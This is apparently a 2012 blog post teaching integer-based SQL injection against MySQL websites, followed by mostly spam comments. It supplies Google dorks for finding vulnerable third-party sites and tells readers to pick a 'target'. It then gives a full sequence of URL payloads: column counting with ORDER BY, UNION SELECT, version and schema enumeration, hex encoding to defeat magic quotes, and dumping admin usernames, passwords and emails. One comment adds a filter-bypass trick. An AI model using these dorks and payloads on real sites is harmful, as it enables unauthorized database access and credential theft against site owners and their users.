Monday, August 20, 2012

Basic SQL Injection Tutorial


Basic SQL Injection Tutorial

Contents


  • What is SQL Injection?
  • Google dorks?
  • Is my site vulnerable?
  • ORDER BY ?--
  • UNION SELECT
  • VERSION()
  • Table_Name
  • Column_Name
  • Magic Quotes?
  • Extracting Data



What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.
Consider this code:

Spoiler
Code:
statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:


Code:
' or 'x' = 'x

When the database tries to pull up records of that username, this is the resulting query:


Code:
SELECT * FROM `members` WHERE `user` = '' OR 'x'='x';

Now, as you can see, the username is actually completely blank contained within the '', but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.

Googe Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!
A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:


Code:
inurl:trainers.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:Pageid=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:staff_id=
inurl:news_view.php?id=
inurl:humor.php?id=
inurl:pages.php?id=
inurl:view.php?id=
inurl:detail.php?ID=
inurl:publications.php?id=
inurl:Productinfo.php?id=
inurl:releases.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:section.php?id=
inurl:page.php?id=
inurl:newsid=
inurl:news_display.php?getid=


Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe ( ' )to end of the URL. You should get an error similar to this back:


Code:
Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!

ORDER BY x--

Our first step to accessing the database, will to be find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:


Code:
www.examplesite.com/index.php?id=5 ORDER BY 1--

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:


Code:
www.examplesite.com/index.php?id=5 ORDER BY 1-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 2-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 3-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 4-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 5-- (Error)

We can now determine the site has 4 columns.

UNION SELECT

We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".


Code:
www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.

VERSION()

This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:


Code:
http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.

Table_name

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:


Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.

Column_name

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:


Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.

Magic Quotes?

One common problem when completing the Column_Name stage is that they still recieve an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here: http://www.swingnote.com/tools/texttohex.php

Our query will now look like this:


Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d696e--

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.

Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email.

Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon ( : ). It is used so we can seperate our results easier, by doing this, we will get returned the following:


Code:
ExUser1:ExPass1:ExEmail1
ExUser2:ExPass2:ExEmail2
ExUser3:ExPass3:ExEmail3

9 comments:

  1. Hi, Nice work in EDataBase in Pl/Sql.Thanks....

    -Hari
    Theosoft

    ReplyDelete
  2. You may also face a problem such as Forbidden Errors
    To bypass those you can use crafted statements
    For Example
    /*!union*/ /*!select*/ 1,2,3--

    ReplyDelete
  3. I got a job by saying this answer in my last interview. thanks for awesome help.
    I got more idea about Oracle from Besant Technologies. If anyone wants to get oracle Training in Chennai visit Besant Technologies.

    ReplyDelete
  4. thanks for explaining about SQL Database!! helpful for all beginners!!

    php training institute in chennai

    ReplyDelete
  5. Excellent post and with lots of useful information...Thanks for sharing post in this topic

    buy soundcloud plays

    ReplyDelete
  6. Wonderful article! We are linking to this great post on our site.Keep up the good writing.
    Buy Soundcloud Plays

    ReplyDelete

please let us know your thoughts ...